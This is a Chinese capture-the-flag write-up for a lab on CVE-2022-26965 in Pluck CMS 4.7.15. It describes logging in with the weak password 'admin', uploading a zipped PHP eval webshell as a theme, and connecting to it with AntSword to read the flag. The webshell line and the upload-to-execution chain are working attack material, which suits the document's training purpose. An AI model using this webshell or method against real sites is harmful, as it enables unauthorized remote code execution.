当前位置: 首页 > article >正文

【春秋云镜】CVE-2022-26965 靶场writeup

知识点

  • 网站的主题或者模块位置一般是可以上传文件的,不过一般为压缩包形式
  • 主题或者模块可以上github上找到和cms匹配的源码
  • 主题被解压后会放到加入到对应的文件夹中,而且还会自动执行对应的info.php文件(需要主题和cms配套才行)
  • 我这里取巧了,正常应该下载对应的主题源码进行修改上传的,而且最好采用文件写入的方式getshell,这里我是能找到文件路径的,如果路径被隐藏了的话我的方法就用不了了
  • 附上正规解法:[春秋云镜]CVE-2022-26965 XStream Pluck-CMS-Pluck-4.7.16 后台RCE - b1nn - 博客园

解题思路

题目地址:cm - cms

点击网址得到一个网页如下:

通过F12查看源码发现有三个跳转网址,其中一个是admin登录页面

刚开始的网址:http://eci-2ze27uk2qtcn1clcp4jc.cloudeci1.ichunqiu.com/?file=cm

这很像文件包含的漏洞,已知了admin.php存在,尝试读取一下该文件,发现有waf阻止了文件读取,看来有waf,这里测不过去了

接下来测一下admin登录页面吧:pluck 4.7.15 - log in

通过点击链接进入页面,发现要输入密码

弱口令直接输入admin发现直接进入了后台

进入后台随便点了一下,发现图片管理和文件管理的位置可以上传文件,但是都被和谐了

但是主题位置是可以上传文件的

通过尝试这里不能直接上传php文件,主题一般都是压缩包的形式上传的,这里改用压缩包试一下

先写一个木马文件:1.php

 <?php @eval($_POST['cmd']);phpinfo();?>

将该文件压缩为1.zip并上传,成功后会显示安装完成

通过后台start标签下Check writable options设置,发现了可写入信息的文件夹路径

通过观察得到的文件路径格式,发现主题存在的文件路径/data/themes/

尝试读取刚才上传的文件:phpinfo()http://eci-2ze27uk2qtcn1clcp4jc.cloudeci1.ichunqiu.com//data/themes/1/1.php

成功得到phpinfo回显,说明木马上传成功了

直接利用蚁剑进行连接

在根目录下找到了flag文件,读取得到flag:flag{edadbcfd-6728-4480-98a0-0320619512a5}

10

http://www.lryc.cn/news/2397338.html

相关文章:

  • 爬虫的几种方式(使用什么技术来进行一个爬取数据)
  • XML 编码:结构化数据的基石
  • nt!CcGetVacbMiss函数分析之设置好nt!_VACB然后调用函数nt!SetVacb
  • JSP、HTML和Tomcat
  • (1)pytest简介和环境准备
  • Git 入门学习教程
  • 构建高性能风控指标系统
  • openfeignFeign 客户端禁用 SSL
  • DeepSeek 赋能自动驾驶仿真测试:解锁高效精准新范式
  • 晨控CK-UR12与西门子PLC配置Modbus TCP通讯连接操作手册
  • 实验一:PyTorch基本操作实验
  • 可视化大屏通用模板Axure原型设计案例
  • 通配符(Wildcard)与正则表达式(Regular Expression)的关系及区别
  • 历年山东大学计算机保研上机真题
  • Java处理动态的属性:字段不固定、需要动态扩展的 JSON 数据结构
  • MAC电脑怎么通过触摸屏打开右键
  • 用 Whisper 打破沉默:AI 语音技术如何重塑无障碍沟通方式?
  • 【东枫科技】KrakenSDR 天线阵列设置
  • Spring Boot中的事件与JMS消息集成
  • ubuntu/windows系统下如何让.desktop/.exe文件 在开机的时候自动运行
  • 云计算数据治理
  • 【Net】TCP粘包与半包
  • 【Android】如何抓取 Android 设备的 UDP/TCP 数据包?
  • 深度解析 Nginx 配置:从性能优化到 HTTPS 安全实践
  • 触发器与存储过程详解
  • 游戏盾与高防CDN的协同防御策略分析
  • Scratch节日 | 六一儿童节射击游戏
  • GPU层次结构(Nvidia和Apple M芯片,从硬件到pytorch)
  • 一次借助ChatGPT抵御恶意攻击的经历,为个人服务器添加自动防御系统Fail2ban
  • (九)深度学习---自然语言处理基础